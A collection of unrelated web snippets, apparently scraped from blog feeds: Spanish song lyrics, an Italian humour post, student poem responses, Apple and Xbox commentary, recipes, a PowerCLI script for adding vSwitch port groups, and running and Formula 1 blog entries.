      No he venido a dedicarte un rock & roll 
      Pero no soy uno más aunque lo creas 
      Maldita sea la vela del barco de tu voz 

      Represento a todo hombre enamorado 
      Cuando llueve me imagino en tu sudor 
      No sé cuál es tu lado de la cama 
      El humor de tu mañana, si sabrás de esta canción 
      Si es así atrévete a decir que no es amor 

      Tu boca es el portal donde quiero dormirme 
      Tu ropa mi peor enemiga 
      Imagina que te beso y no te giras 

      Sentí tu aliento y vi Santiago amaneciendo 
      Saliendo de un concierto reías 
      Si supieras lo que te miro a escondidas 
      Si supieras lo equivocada que estás estando con otros 

      Si me dieras un minuto en tu barriga 
      No te pido nada más 
      Pero dámelo antes de que sea de día 

      Tu sonrisa es la más bella cara al mar 
      Pero me hablas de sequía 
      Y en Pantín fugó una estrella en tu lugar 

      Bailo contigo en la distancia, supongo tu calor 
      Supongo estás cansada, amor 
      Y duermo con una foto tuya y ahí no dices que no 
      Ahí dices "cántame" y te hice esta canción 
      Que ha venido como yo, desnudo y solo 
      Medianoche, vida mía, ya me voy


                Amaracchia always has a plan   
      Amaracchia e Montagna d'Uomo hanno un forte terreno di scontro, [anzi due ma uno di questi non vale perché non è bene criticare Amaracchia] e riguarda l'inesistente senso del ritmo di MdU.

      MdU è un omaccione vitale e spiritoso, il tipo d'uomo che seppur costretto alla cravatta, non rinuncerebbe mai alle adidas vintage ai piedi, pagate rigorosamente meno di venti euro nell' amato outlet di AmaracchiaCity; egli ripete ad Amaracchia ossessivamente, da che i due si conoscono, che in un mondo perfetto avrebbe fatto il batterista o, nella peggiore delle ipotesi, il chitarrista rock.

      L'Amaracchia boccalona lì per lì ci cascò, compiacendosi di aver trovato un palese squilibrato mentale, ma nel senso più piacevole del termine; lei del resto sapeva, in cuor suo, di essere una rocker, e cosa è una rocker senza un buon batterista?
      Solo che, col passare del tempo, MdU ogniqualvolta si presentava classicone rock alla radio o nella loro selezione musicale, partiva con l'Air Drum, uno dei più imbarazzanti Air Drum della storia dei finti rocker.

      In pratica MdU incrocia i polsi, li sovrappone fingendo di avere due bacchette in mano e comincia a muovere su e giù le mani in tempi diametralmente opposti e scombinati, corrucciando le labbra e chiudendo gli occhi, solo che più che un batterista rock sexy sembrava una sorta di Lorella Cuccarini in La notte vola, molto più alta e con molti più peli. La prima volta Amaracchia pensò che lo facesse solo per farla ridere e si sganasciò insieme a lui, la seconda volta rise di gusto, la terza sorrise, la quarta volta sorriso mesto e così via fino a quando sbottò:"Tu non hai senso del ritmo".

      Apriti cielo.

      "Tu non capisci niente, io non solo ho senso del ritmo, ma sarei anche un bravo batterista", al che ad Amaracchia venne in mente quella volta che volle far vedere le sue doti da ballerino classico e lasciò che fosse la sua mente a confermare la tesi sostenuta.

      La mancanza del ritmo di MdU si è manifestata poi sempre più prepotentemente: nei concerti si muove in controtempo, mentre guida e ascolta la radio muove la testa talmente a casaccio che accentua la naturale tendenza di Amaracchia alla chinetosi, nei balli lenti non sa nemmeno in che verso dondolarsi (con grande gioia della principessa del ritmo che odia certe manifestazioni sociali, c'è da dirlo).

      Ma Amaracchia ha sempre un piano losco e fallimentare da mettere in atto: l'acquisto di chitarra a soli trentanove euro e novanta da LIDL (leggi chitarra di cartone), per educare MdU almeno a battere il tempo sul retro della suddetta, non è riuscito e in attesa di altri strumenti musicali cartonati da strapazzare potrà sempre far finta che MdU sia un grande jazzista d'avanguardia, the King of syncope, per gli amici Ersincopato.

      Per la parte alla batteria di In the air tonight c'è sempre tempo.


                "Euphoria" by Major Jackson   
      This poem has me wondering about the sexual exploits described in the second to last stance: "In rhythm to my hips' thrashing, in rhythm to Luther's voice, which flutters around that word I now mistake for "weep...". I was debating with a fellow about what exactly the girl did, did she have intercourse or did she help the guy master bate? As a teenager, I know that other teenagers do crazy things. But this poem has me so confused, the first lines describe how this teenage boy sees his mom smoking crack, but he's still, waiting in a Benz. I guess that shows that even wealthy, stable individuals struggle with the same vices of individuals of lower classes. In that part of the poem, Jackson also describes how the suspected prostitute is dressed, the environment they're surrounded in, and the experience they share together. To me, this poem describes a real life experience, maybe Jackson is the young man in the poem. Also, this poem is something I could see in a movie script, maybe this is the life of a young man, and somehow ends up leaving his city to find a different kind of life. But my favorite line is the last line: "A family, a dinner, a car, nothing but this happiness so hard to come by." If you're familiar with current slang, this sentence could have a dirty, as in a sexual, connotation. I have more to add, but maybe later. 
                "Sticks" by Thomas Sayers Ellis    
      I enjoyed reading this poem because I can relate to having a father who's strong, tough, and extremely hard/cold. At the beginning of my life, when I was about three years old, I hated my father. We never had that typical "daddy's little girl" relationship. One of Ellis's first lines explains my dad's outlook on life: "Kind and lack of size were nothing more than sissified signs of weakness." Yes, I am a female, his youngest daughter, but he often says he wishes he had more sons. My father still tried to plant that sort of masculine attitude in me. I mean, I'm not weak, well as not as weak as he think I am. I cry, smile, laugh, and make mistakes. But we (my dad and I) have never had a conversation about how I feel about him, or how we feel about each other, and about the mistakes we both have made. Like I said, we both have made mistakes, but he has changed. Our relationship has improved so much; we have conversations about his life, and what he has been through. He had to be brave when he left Mexico at the age of 14 or 15; so along with becoming independent, he left those emotions behind. I don't want to go into detail about my dad's struggle, but now I understand why he is the way he is, and I respect him for that. 
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      Es el tercero que abre en Europa. Se pueden ver desde el Apple I, creado por Wozniak y Steve Jobs, en 1976, hasta los últimos G5, iPod, iPad o iPhone.
                Análisis del reloj Samsung Gear S3 Classic: un buen reloj inteligente para quien quiera uno (Vídeo)   
      Los expertos en tecnología de Libertad Digital ponen sus ojos sobre el reloj Samsung Gear S3 Classic y lo comparan con el Apple iWatch.
                Re: Why I can’t kick the Apple iPhone habit   

      Great article Robert. I love to hear about people's experiences with each and how it caters to your usage patterns. I wish more people would understand that it's a personal choice to use these devices and there is no universal truth. Different strokes for different folks...and all that.


                Re: Why I can’t kick the Apple iPhone habit   

      I agree the gap between Android and iOS is narrowing, but I believe when the gap completely closes, I'll still prefer the Apple ecosystem since they ALWAYS consider the hardware and the software combination. I've been down that road that Android is going and I didn't like it. You have a bunch of different handsets with a hodgepodge of Android implementations and very little consistency. With that said, I respect Android and the people who use the devices, but it's simply not for me.


                Re: Apple, iPhone 4, and Competition   

      If you look at Apple's videos and keynotes on Macbooks, iMacs, etc...they've always gone into detail about the manufacturing process. Remember the Macbook Air? Macbook Pro? iMac? This is not an imitation. I'm sorry if I missed the info on Nexus One, but Apple has done this in the past.


                Is it possible to do category trees in ticket?   

      DouglasJ wrote:

      This has been discussed MANY times. You can have multiple Custom Attributes but not nested, yet.

      You can take a look through theFeature Requestssection and spice up any entries for this there. If you don't find what you are looking for feel free to createaNew Feature Request. If you docreate a new request be sure to post the link back here so others can more easilyfind it.

      I wish I had a better answer for you but that functionality is not yet available. Please check the Feature Requests with the links I provided above.


                Is it possible to do category trees in ticket?   

      This has been discussed MANY times. You can have multiple Custom Attributes but not nested, yet.

       

      You can take a look through the Feature Requests section and spice up any entries for this there. If you don't find what you are looking for feel free to create a New Feature Request. If you do create a new request be sure to post the link back here so others can more easily find it.


                Kumpulan Motor Satria FU Modifikasi 2011-2012   


      Inpogue.Com – Anda tentu sangat suka jika memiliki motor yang baik dan keren. salah satunya adalah motor Satria FU, ini adalah salah satu motor yang sangat di sukai oleh anak-anak muda jaman sekarang.
      Tidak hanya suka dengan motor ini, anda juga pasti ingin sekali memodifikasi motor Satria FU anda menjadi lebih keren lagi. Berikut adalah beberapa kumpulan foto modifikasi Satria FU Terbaru 2011-2012.
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                Red Aventurine... and add Honey Crisp apples to your bucket list this fall!   

      Red aventurine should really be called orange, but nobody asked me when they were naming the stone : )  However, this bracelet absolutely reminds me of fall - the leaf colors, apple cider and cinnamon.  Which reminds me that I really need to go and do something with that other huge bag of apples that we picked last week (we already plowed through one bag of Honey Crisp, which if you've never tried, you need to put that at the top of your bucket list this fall!)
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                15 Things You Don't Want To See When Running a Marathon   
      A little background:

      In high school, I dated the same guy for, oh....gosh.....FOUR years.  Which basically meant I spent a lot of time with his family. In high school (need I remind you) when you are THAT into a guy nothing else really exists, right? So, I became good friends with his entire family.  I will say for the record that I did not end up marrying the same high-school sweetheart (which is an entirely different lesson for an entirely different day)..... ON WITH THE STORY.  This boyfriend's family was very nice to me, his younger brother,Craig, and I had quite a bit in common and shared many interests.  As a matter of fact, one of my favorite memories is when the two of us worked together at McPherson's Apple Orchard - (anyone who has worked there will lay their hand on the Bible and swear that it was the best job they ever had....TRUTH) ANYHOO - - - Craig and I reconnected on facebook (of course) and I have since come to understand the extent to which his life revolves around being fit, active, and outdoors. Before I ran my first marathon, Craig helped me understand some of the basic strategies for completing such an event.  Now, I frequent his blog for what is usually a bit of athletic humor or advice.  In any case, I wanted to share with you his most recent post that he borrowed from a friend who just ran Big Sur.  ENJOY, because I certainly did. (and maybe I can drum up some hits to Craig's blog....it's worth the read)

      15 Things You Don't Want To See When Running a Marathon. 
      (the link is to his blog. Click on the link within his entry...sooo funny)


      and while you're at it, take a look at this video, too.
                Here's What is Cooking for This Week   
      Week Two of the Vegetarian Lifestyle:
      Hubby and I have enjoyed our first week of the vegetarian lifestyle. We both feel healthier and more aware of what we are putting into our bodies. I am amazed at the hightened energy level - without the meat.

      I am curious how my other bloggers and bloggistas are faring with their New Years resolutions.
      Eggplant Parmigiana

      1 Medium Eggplant sliced thick
      1c. Panko Breadcrubs
      1/2 Cup Parmigiana Cheese Grated
      1/2 Cup Italian Seasoned Breadcrumbs
      2 eggs - beaten

      Dip the sliced of eggplant in the egg wash, then into the panko/cheeese/breadcrumb mixture
      Saute them in a non-stick frying pan sprayed with a small amount of vegetable spray until they are nicely browned on both sides

      Arrange them in a baking dish that has a thin layer of spaghetti sauce on the bottom. Cover the eggplant with a thin layer of additional sauce. Sprinkle the entire pan with a liberal amount of shredded mozzarella cheese. Sprinkle some oregano, basil, and grated parmigiana cheese.

      Bake at 400 degrees for 15 - 20 minutes. ENJOY

      Minestrone Soup

      Olive Oil
      2 cups chopped Onion
      5 medium cloves of Garlic - minced
      2 tsp salt
      1 stalk celerey - minced
      1 medium carrot - diced
      1 cup eggplant - diced
      1tsp oregano
      fresh black pepper
      1 tsp. basil

      Saute all of the above ingredients in a large stock pot (15 minutes)

      add
      1 medium bellpepper diced
      4 cups water
      15 oz can tomato puree
      simmer for 15 minutes

      add
      2 cups cooked or canned beans (chick peas, kidney beans, etc...)
      simmer for 5 minutes

      bring soup to a gentle boil
      add
      1 cup dry pasta of choice
      stir and cool until pasta us tender

      top with parmesan cheese. ENJOY.


      Marinated Sweet Potatoes and Broccoli

      3 medium sized sweet potatoes

      peel the sweet potatoes, cut in quarters, then into thin slices. Cook or steam potatoes on the stovetop.

      1/2 cup walnut or olive oil
      1 large clove garlic, minced
      3 Tbsp. lemon juice
      2 Tbsp raspberry vinegar or red wine vinegar
      1 tsp salt
      1 Tbsp dry mustard
      1 Tbsp honey
      freshly ground pepper

      Combine the marinade mixture and add the sweet potatoes to the marinade while they are still hot.

      Steam 1 large bunch of broccoli *(cut into small spears)
      Cool the broccoli off by running cool water over the spears.
      place broccoli on top of marinatd sweet potatoes, cover tightly and marinate for several hours.

      Mix broccoli into the sweet potates just before serving.


      (optional garnish: slices of green apple and chopped toasted pecans)

      Other options for the week:
      Waldorf Salad
      Baba Ganouj
      Lentil-Walnut Burgers
      Apple Strudel
                Why Xbox One X (Project Scorpio) Won’t Be The Last Console From Microsoft   

      Since the dawn of modern gaming, we’ve always expected consoles to go through a cycle before gracefully bowing out as a new generation takes center stage. With the Xbox One and now XBox One X (Project Scorpio), all of that is changing.

      Microsoft isn’t even sure if they’re going to do another generation of consoles after they release Project Scorpio/Xbox Two. Of course, these kinds of claims send a ripple effect through the industry, but I’m here to put your mind at ease. Join me as we discuss Microsoft’s comments and why console players have nothing to worry about.

      Looking Past The Headlines: What Microsoft’s Comments Really Mean

      Xbox Games Marketing head, Aaron Greenberg, made headlines when he said that the current generation of consoles, XBox One X/Project Scorpio included, would be the last one you will see from Microsoft.

      At face value, that seems like a death knell, but it’s not. Microsoft is trying to change the game, literally. Speaking with Engadget at Gamescom, Aaron Greenberg went into more detail on this bold statement:

      “I think it is … For us, we think the future is without console generations, we think that the ability to build a library, a community, to be able to iterate with the hardware, we’re making a pretty big bet on that with Project Scorpio. We’re basically saying ‘this isn’t a new generation, everything you have continues forward and it works.’ We think of this as a family of devices.

      But we’ll see, we’re going to learn from this, we’re going to see how that goes. So far I’d say based on the reaction there appears to be a lot of demand and interest around Project Scorpio, and we think it’s going to be a pretty big success. If the games and the content deliver, which I think they will do, I think it will change the way we think about the future of console gaming.”

      Instead of consoles coming and going, Microsoft is looking towards a future where the platform doesn’t fade. Part of this is already in motion with XBox One X (Project Scorpio) being compatible with all your Xbox One games and accessories.

      Microsoft has also promised zero exclusive titles for Scorpio, but that doesn’t extend to VR. We know that this new console will support virtual reality, and these experiences will be exclusive to the console since the other Xbox platforms don’t have the power to do VR.

      We’ve heard Xbox boss Phil Spencer talk before about consoles that continued to innovate instead of staying static for seven years or more before being replaced. This, combined with the notion of an Xbox Family that leaves no game or accessory behind when you upgrade, is all part of this initiative to blur the lines between consoles and generations.

      XBox Two
      XBox Two Design by Danny Haymond

      Microsoft cites the smartphone industry as their main inspiration for this new plan. Greenberg explained by saying:

      ”For us, we think the future is without console generations; we think the ability to build a library, a community, to be able to iterate with the hardware, we’re making a pretty big bet on that with Project Scorpio. We’re basically saying, ‘this isn’t a new generation; everything you have continues forward and it works. We think of this as a family of devices.”

      Okay, so given that information, let’s break down this news:

      • Microsoft isn’t stopping their game business after Project Scorpio (XBox One X) releases
      • Microsoft will continue to make new hardware in the future, they're not going to stop with Scorpio.
      • They are focusing on creating a singular platform across multiple devices, thus removing the hard boundaries that define console generations.
      • Instead of major leaps forward every seven years, we’ll probably see more consistent console releases from them.

      Now that we’ve discussed the facts, it’s time to start speculating. Will this new venture work for Microsoft, and if so, how does it affect the other members of the console industry?

      XBox One X Gamers

      Microsoft’s Bold New Steps: How Will Sony and Nintendo React?

      It seems that smartphones have been a major influence on the console industry, because Microsoft aren’t the only ones taking cues from the resident kings and queens of portable devices. Sony and Nintendo have been busy changing their strategies as well.

      For example, if we look at the rumors surrounding the PS4.5 (PS4 Neo), everyone expected a reveal at E3 2016, but Sony decided to wait. PlayStation boss, Andrew House was especially surprised when Microsoft decided to announce XBox One X (Project Scorpio) over year in advance.

      Speaking with The Guardian, this is what he had to say:

      ”I was surprised by the step of announcing something over a year ahead of time. The dynamics of the tech industry are such that there’s a much heavier emphasis on immediate gratification than there was. A lot of that is to do with how Apple has very cleverly and elegantly managed the ‘available now’ approach.

      We experienced this ourselves, when, in 2013, very much in line with our previous strategies, we announced a concept and a name for PlayStation 4, and everyone said ‘where’s the box? How dare you?!’ That was the point we realized, well, we hadn’t changed, but the world around us had.”

      Further on in the interview, Andrew House explained that the PS4 Neo is meant to be a high-end PlayStation 4 and not a next generation console. In addition, he said that smartphone has taught customers to expect a different rhythm of innovation in their technology.

      That being said, he also cautioned against turning the traditional cycle into a 18-month/two-year rhythm because then we would lose out on the big “wow” moments that a new piece of hardware provides. It’s a balance for them, because House also mentioned that Sony typically loses gamers during the later years of a cycle because they are heading to PC where the graphics and technology are more current.

      A high-end PS4 would keep them inside the PlayStation brand, and that’s similar to what Microsoft is doing. The PS4 Neo is also reported to use the same accessories and games you would use on a PS4, similar to how Microsoft is focusing on leaving no gamers behind.

      In the case of Microsoft and Sony, both are playing and both are clearly looking to the smartphone industry for inspiration. Nintendo, however, has been extremely quiet on their plans for the future. We know their new console, the NX, is coming in March of 2017, but we know very little about it.

      That being said, rumors suggest that it will be a console/portable hybrid. Top this off with the release of the widely popular Pokemon GO app, and it’s clear that Nintendo is also taking cues from the mobile phone industry.

      So in the end, what does this mean? Well, if Microsoft is truly setting the example for the future, we’re going to see consoles come out more often, similar to the way smartphones get newer models every few years.

      The idea is that these aren’t “next-generation” consoles. Instead, they’re a newer and more high-end option that keeps pace with technology. You won’t be pressured into buying it, though, because when you are ready to upgrade, everything you’ve bought will work on the new box.

      Because there’s no hard boundary between any one of the consoles, the concept of a “generation” as we know it, ceases to exist.

      Now, Microsoft never said they would release a new console every two years, but you can bet that they won’t wait 7-years either. We’re going to see new hardware over the course of a lifecycle. This is right in line with Phil Spencer’s comments at the Xbox Spring Showcase in 2016:

      ”When you look at the console space, I believe we will see more hardware innovation in the console space than we’ve ever seen. You’ll actually see us come out with new hardware capability during a generation allowing the same games to run forwards and backwards compatible because we have a Universal Windows Application running on top of the Universal Windows Platform that allows us to focus more and more on hardware innovation without invalidating the games that run on that platform.

      In addition to playing your games on any version of Microsoft’s console, they are also promising (at least for now) zero exclusives to the XBox One X (Project Scorpio). Games will look and play better on the new system, but they will also work on any version of the Xbox One.

      Combine this with the announcement of the “Play Anywhere” program that lets you have copies of certain games on both Xbox and Windows PC, and you’ve got all the trimmings of this universal “single generation” future Microsoft is planning for.

      At the end of the day, Project Scorpio (XBox One X) won’t be the last console from Microsoft. It’s the first in a new breed of consoles that tear down the boundaries between generations. This may be the last generation, but it’s not the last we’ll see of Xbox. You can count on that.

      How do you think Microsoft will progress with this new plan of theirs? Are you excited about this potential change in the industry? Let us know in the comments!

      Note: The thoughts expressed in this article are the opinions of the author (Bradley Ramsey) and do not yet represent facts or the opinions of Microsoft. Although it will probably be accurate, for now it is pure speculation. Thanks for reading!

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                Bad Apple :( — Shinjuku, Japan   
      Brit & Adam Trip it to Japan
                PowerCLI - Add PortGroups to Standard vSwitch.   
      If your environment uses Standard vSwitches it is more likely that you often end up adding a portgroup on all the hosts in a cluster. This becomes even more tedious task when you have multiple portgroups to add.

      This script helps you to add new portgroups to an existing vSwitch. You can also connect to an ESXi Host directly if you have a standalone host (which is rare in Prod environments though)..

      $vcserver = "vCenterFQDN/IP"
      $portvc = "443"
      $myvSwitch ="Your vSwitch (EX: vSwitch1)"
      Connect-VIServer $vcserver -Port $portvc -Credential (Get-Credential)
      $hosts = Get-VMHost -Location "Cluster_Name" | Sort Name
      foreach($host in $hosts){

      # Enable below line if you want to create a new vSwitch named with $myvSwitch and assign NICs 1,3,4,5 to the vSwitch.
      #$host | New-VirtualSwitch -Name $myvSwitch -Nic vmnic1, vmnic3, vmnic4, vmnic5

      #Add new portgroups to the vSwitch named "$myvSwitch". Each portgroup/VLAN needs one line similar to the below..
      $host | Get-VirtualSwitch -Name $myvSwitch | New-VirtualPortGroup "corp 80" -VLanId 80 -Confirm:$false
      $host | Get-VirtualSwitch -Name $myvSwitch | New-VirtualPortGroup "corp 90" -VLanId 90 -Confirm:$false
      $host | Get-VirtualSwitch -Name $myvSwitch | New-VirtualPortGroup "corp 100" -VLanId 100 -Confirm:$false
      }
      Disconnect-VIServer $vcserver -confirm:$false

      ***PS: Test it before you run in a Prod Cluster. ***

                Hollow bee hives may threaten our lives too   

      You may think that your most significant interaction with bees is trying not to get stung. But, in fact, you have bees to thank for nearly one-third of all food crops: almonds, apples, peaches, honey, and watermelons, to name a few. without a If our bees are in trouble, then we’re in trouble too. For […]

      The post Hollow bee hives may threaten our lives too appeared first on East Texas Review.


                NEWS MERCATO AUTO | Tecnologia Apple & Ferrari   
      Buongiorno , l'annuncio ufficiale della partenrship dovrebbe avvenire al prossimo Motor Show di Ginevra http://www.centrometeoitaliano.it/apple ... car-10048/

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                Ditching the Saviors with Dwight (Austin Amelio) from the Walking Dead   

      Negan's right hand man, Dwight (Austin Amelio) joins us tonight on the Shadow Nation. He talks about his character, the story arc in general and what it is like workng with Negan (Jeffrey Dean Morgan). 

      We talk with Austin for 45 minutes about everything from how he moved from Austin, TX to Hollywood, his crappy first jobs before acting took off, where he likes to hang out in Georgia while filming, his influences, how he first realized the part he got on the Walking Dead was going to be big, how he nearly took out Norman Reedus' head (Daryl Dixon on the Walking Dead), and how he was able to get his personal motorcycle into the show.

      We end with a great story about an insulting scene with Jeffrey Dean Morgan and Austin and how it went awry (thanks to Jeffrey's unique style of acting).

       

      1:53 - Austin Amelio Guest Tease
      3:28 - Beauty and the Beast
      5:55 - Nathan's an old guy (seriously follow "Pound Shadow Nation"? uh Nathan it's #ShadowNation)

      In the News

      7:05 - Werewolf Of Taubaté
      9:18 - Olwen Catherin Kelly believes in Banshees
      14:43 - Girl Joins Dark Side
      16:17 - Sashimi Gone Wrong
      20:50 - Pope's Hat Stolen
      24:40 - Nasa Age Reversing Pill

      Shadow Nation Appearnces

      28:45 - Shadow Nation Comes to Indiana Comic Con

      30:00 - Rot Talk (we talk about what happened last week and what we think will happen tonight on the Walking Dead)

      Indie Music
      40:38 - Mega Gem "The Right Thing to Do"

      44:25 - Interview with Austin Amelio

       


                Weekly Wrap- Up: The Week We Toured a Mansion    
      We had a busy week of crafting and art projects and even managed to throw in a field trip to one of the Newport mansions!  It still rained a lot but I finally decided we just needed to get out and do things and ignore the bad weather.



      We woke to sunny skies on Friday and decided to get a jump on our ice tie dying.  It was a lot of fun but we ran out of ice and I had to make a quick "emergency" run to the grocery store to buy ice. (You can read all about how to use ice to tie die here). We headed out in the afternoon for the last homeschooling jump day at Launch.  We were so amazed at the huge turnout.  Unfortunately, Alec hurt his back within 20 minutes of being there and had to sit out the whole rest of the jump time.  The poor boy pulled a muscle in his back and was in pain for days.







      Saturday the boys all went to work.  The younger two boys went and turned in some scrap while Ian went with his grandfather to work.  In the afternoon they helped us on the shed; cleaning up all the scrap book we had scattered around.  After dinner we played a rousing round of Apples to Apples.

      I was a bit less nervous this week..  
      The boys helped us move the wood rack on Sunday and then Ian went fishing while the younger two boys went swimming (no, not in the lake; that's still freezing).  After dinner we played Cranium.

      I decided we just could not wait for nice weather any longer and so we headed out for a field trip on Monday ignoring the rain.  The boys and I toured one of the Newport Mansions called Marble house and learned all about living in style back in the guilded age.  We had a great time and already have plans to go back and tour at least one more mansion. I've got a full blog post just on our trip, what we learned and several more pictures coming tomorrow.




      We FINALLY made it back to karate this Tuesday but only Evan was up for participating.  After class we went to Dunkin Donuts with his grandmother.  The boys helped with some housework and the groceries once we arrived home and then we all settled down for a fun new string art craft. (You can read about how we did that here).






       We awoke with no plans at all for Wednesday and all three boys agreed to participate in another art project.  Using oil pastels, watercolors, and salt we made some ocean animal paintings,  We finished up just in the time for the older two boys to head out with their dad on a run to pick up the materials for our new heating unit we're putting in our attic.  Evan really did not want to go for a ride so he talked me into staying home with him and we went for a walk on the local river trail and stopped to get some ice cream and french fries.  Along the trail we read the book Sylvester and the Magic Pebble and watched the ducks, geese, and heron.  With all the rain we've been having the water is running high and we could see the current running.




      We stopped to watch the heron in the tree. 

      Thursday we decided to stay home and my sister came to visit with my nephews.  The boys had a great time playing outside.


      Linking Up With:

      The Homeschool Post


      Awesome Life Friday

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      Family Friday Link-Up Party


      Homeschool Coffee Break




                June 15th with guest Andrea Janes from Boroughs of the Dead   
      Join Shaun and Nathan as they talk about what’s haunting the Big Apple with Andrea Janes, owner of Boroughs of the Dead and author of the book by the same name. The Ghosts of New York dying to hear what happens next!
                CBR   
      You see us around Ayala's Cebu Business Park. We run Monday nights on recovery to the beeping of a metronome's 180 beat. 

      5.3
      We are a motley group of runners, strangers in fact, yet we share the same passion. Pre runs at Terra Plana we talk about running most of the time admiring great athletes like Anton, Jason, and a little Mexican named Arnulfo. We discuss running terminologies like heel drop, footstrike, pronation and supination with the enthusiasm of a school boy yet mid run we talk about something else-- our families, our work... and the latest in showbiz. 

      Post run we talk about running once again.

      I didn't personally know anybody then when I decided to check this group out yet I was met with enthusiasm by fellows who extended their arms in handshake... and looked at your feet.

      Seemed odd then but when you run with this group, we make our feet our most prized possession. That's why we run in them.

      Barefoot.

      Well, not actually barefoot but the closest thing to being barefoot-- minimalism.

      We are the Cebuano Barefoot Runners. 

      We run in Evos, Vibram Five Fingers, Merrells, other minimalist shoes and even barefoot. 

      But the majority run in huaraches, Cebuano-crafted by a master himself named Jacob.

      All week I run in VFFs yet on Monday nights I make it a point to run tarahumara style, the greatest ultra distance runners on Earth.

      Along the way I have made new friends. That is why I will miss running with this group.

      5th Page Barefoot Run, my first with CBR, 14 Mar 2011.

      6th Page Barefoot Run, 21 Mar 2011.

      7th Page Barefoot Run, 28 Mar 2011.


      14th Page Barefoot Run, cancelled on account of bad weather, 6 June 2011.

      ...and me in my maiden marathon, barefoot.  9 Jan 2011.
      Keep on running, barefoot[ER]s! 

      (CBR photos from the group's Facebook page admin and barefoot runner, Anthony.)
                All against Seb   
      Mid season. 9 races to go. 

      Yet "The Finger" still leads by 4 races.

      Sebastian Vettel, Red Bull Racing

      A glimmer of hope. Everybody is catching up.

      A red car scored the most points in the last 3 races.

      A silver car took Germany. 

      A glimmer of hope indeed as a Spaniard hitches a ride with an Australian in an English-based team owned by an Austrian and powered by a French V8.

      (image from f1fanatic.co.uk)
      All against Seb.
                My CDO-Dahilayan 55k Trail Ultramarathon   
      CDO City Hall
      “Congratulations, pre! Ultramarathon virgin no more,” this text I received from my good friend Gifford, an ultrarunner, uplifted me as I was traversing the long stretch of gradual inclined trail leading to Dahilayan. I was already way past the ‘wall’ of the marathon distance of 42.195 km. Where I am was in the ‘death grip’ of the ultra. 

      I had registered a month before for the Cagayan de Oro-Dahilayan (in Bukidnon) 55k Trail Ultramarathon, the first and longest to be held in Northern Mindanao and the first to use timing chips.

      Pre-breakfast Pastel
      I started the run in the back of the pack with 10 or so runners behind me. The bulk of the participants easily climbed the first of unending uphill climbs starting at km 2. My strategy was to finish the race within the cut-off time of 12 hours by running 3 minutes and walking 1 minute. At this rate, I could arrive within 10 hours with 2 hours to spare for any eventualities. I walked all the uphill climbs and ran downhill as planned.

      I was also taking in the scenic route. Taking pictures along sleepy towns and barangays as my support vehicle leaped frog me every 3-5 km or so in between aid stations.

      Brgy Kil-og
      There were downhill trails I could not run lest I sprain an ankle this early as my headlamp provided only little illumination along the path.

      Massage midway through an uphill
      When the sun rose, I was at a mountain barangay where people greeted me and children gave me high fives.

      I stopped often to take in the view. There was one stretch of trail where there was not a whimper of a ghost. I had heard that Bukidnon was a rebel infested area so I ran this course as fast as I could. I did not know that barangay tanods and policemen were strategically placed nearby.

      The Municipality of Libona, Camp 09 and Camp Philips were just a glimpse. A spectator in the race in a small town called Agusan Canyon asked me in tagalog if I was from Manila. “Taga Agusan pod ko, manang. Pero Agusan del Sur”. That elicited laughter from her friends.

      I was enjoying the run.

      Km 20 spectators
      But at km 48 and almost 10 hours of running and hiking, I was feeling rather fatigued, down and sleepy. The crunching sound of gravel and stone underneath my running shoes were becoming a sickening thud. I could see nothing but rows and rows of pineapple fields under the heat of the noontime sun. 

      Hours earlier at km 40, my Garmin (GPS watch) had run out of battery. I had no idea now how far to go and how much time had elapsed. That disappointed me a lot. We were only using my support vehicle’s odometer reading to get an estimate and it said 48.

      Trails!
      At one point, I told my crew I was going to take a nap for 5 minutes but then they let me sleep for 10. When I woke, I was energized once again.

      I reached aid station 50 at the end of the field. 5 more to go, I thought. I gathered my strength and power hiked the rest of the way as I could no longer run for more than 20 seconds at most due to fatigue.

      After what seemed like forever, I asked a local on horseback how far yet to Dahilayan Adventure Zone and her answer was around 5-6 km. What the…! I could not believe it! A fellow runner came up to me and said they made a mistake in the sign posts. Tough luck!

      Downhill portion of Camp 09
      More trails!
      After more walks, lunch and rest, I came around a bend and saw km 55. Yes 55! But I was nowhere near Dahilayan yet or where the party was. I hiked for more. Another sign said “850 m to Dahilayan”.

      Pineapple fields of Del Monte
      That was probably the longest hike I have ever felt. Rain poured down on me and mud cakes were forming everywhere. It was quite slippery to run and my shoes were carrying mud, excess weight to a tired runner. My support vehicle was slipping and sliding as it went past.

      At Km 55 with 2.5 more to go
      I persisted and climbed on fours as the rain intensified. Finally at the top of the hill, I saw the big letters of the word “FINISH”. I raised my arms, stood for a few moments underneath and contemplated how I managed 55 as I heard the clicks of SLRs everywhere.

      I made it! Yes, ultramarathon virgin no more!

      Click to enlarge ultrarunner :-)
      The advantage of finishing at the back of the pack is that everybody else is lined up to see you arrive.
      Elevation profile 40 of 55 km
      Map from my Garmin up to km 40

      I’m thankful to my support crew for staying up with me. Without them, I wouldn’t be able to make it.
      F1 (Ultra)Runner

      To my families and friends who kept texting me words of encouragement that I can make it;

      To my fellow runners and adiks in dailymile and Facebook who motivated me all those months during my training runs;

      Thanks a lot! See you on the road… and on the trails, my friends! 

                Running and others   
      I haven't written as of late. I'll make the pictures do the talking.

      In February, we revisited the Lion City...

      ...and enjoyed what Universal had to offer.

      Took a trip to a village in March half submerged by flooding...

      ...to give away what small things we have.

      By April, I stared in awe at a wonder yet undiscovered.
      Then I went home in May...
      ...to gaze once more at the island a stone throw away.

      Visited old folks with friends in a remote village...

      ...fed some kids...

      ...comforted a child with special needs...

      ...and sat down to admire the setting sun.

      In June, we organized a half and paced a friend...

      ...to bring home his badge.

      I captured a lumad to place 2nd...

      ...and jump for joy...

      ...at an islet facing the Pacific.

      And this July...

      ...I journey to a trail ultramarathon
      to test the perseverance of the human spirit.

                Formula 1: Red Bull flies in Malaysia!   
      The RB7 in practice, Malaysia. (YallaF1.com)

      What is it about the RB7 that seems to have baffled big teams like Ferrari, McLaren and Mercedes? 

      2010 Champion Sebastian Vettel drove to an impressive victory of the season in the Malaysian Grand Prix. 2 in a row as the season starts! 

      McLaren and Ferrari are left collecting scraps. 

      The Adrian Newey-designed Formula 1 is incredibly ahead of its rivals no one knows exactly how fast they go. 

      Not since the Schumacher-Ferrari era of 2000-2004 has fans seen an overt advantage in raw pace. 

      While Schumacher had the power of Ferrari, today's Red Bull relies less on engine power but more on aerodynamics. 

      Already there are talks of McLaren and Ferrari following suit in the wake of a 'flexi-wing' front end design of the RB7. 

      Hurry up, guys. Before the season ends.

                Baked Oatmeal   
